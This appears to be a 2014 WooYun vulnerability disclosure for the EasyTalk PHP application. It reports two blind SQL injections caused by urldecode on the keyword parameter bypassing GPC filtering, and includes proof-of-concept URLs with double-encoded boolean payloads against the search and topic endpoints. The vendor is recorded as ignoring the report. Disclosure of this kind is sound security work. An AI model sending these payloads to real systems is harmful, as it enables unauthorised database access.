漏洞概要
关注数(24)
关注此漏洞
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漏洞详情
披露状态:
2014-10-11: 细节已通知厂商并且等待厂商处理中
2014-10-16: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
easytalk两枚sql盲注
详细说明:
1.Home\Lib\Action\SearchAction.class.php第22行代码中
$keyword=urldecode(trim(htmlspecialchars($_REQUEST['keyword'])));
keyword参数进行了urldecode操作。绕过全局gpc的过滤,导致注入。由于字符限制导致注入较为鸡肋
http://127.0.0.1/easytalk/?m=search&type=user&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23
可输出数据

http://127.0.0.1/easytalk/?m=search&type=user&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=4%23

无数据返回
2,http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23
原理同上。urldecode导致绕过全局gpc
http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23

http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=4%23

漏洞证明:
1.Home\Lib\Action\SearchAction.class.php第22行代码中
$keyword=urldecode(trim(htmlspecialchars($_REQUEST['keyword'])));
keyword参数进行了urldecode操作。绕过全局gpc的过滤,导致注入。由于字符限制导致注入较为鸡肋
http://127.0.0.1/easytalk/?m=search&type=user&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23
可输出数据

http://127.0.0.1/easytalk/?m=search&type=user&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=4%23

无数据返回
2,http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23
原理同上。urldecode导致绕过全局gpc
http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23

http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=4%23

修复方案:
版权声明:转载请注明来源 zcy@乌云
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漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-10-16 17:46
厂商回复:
最新状态:
暂无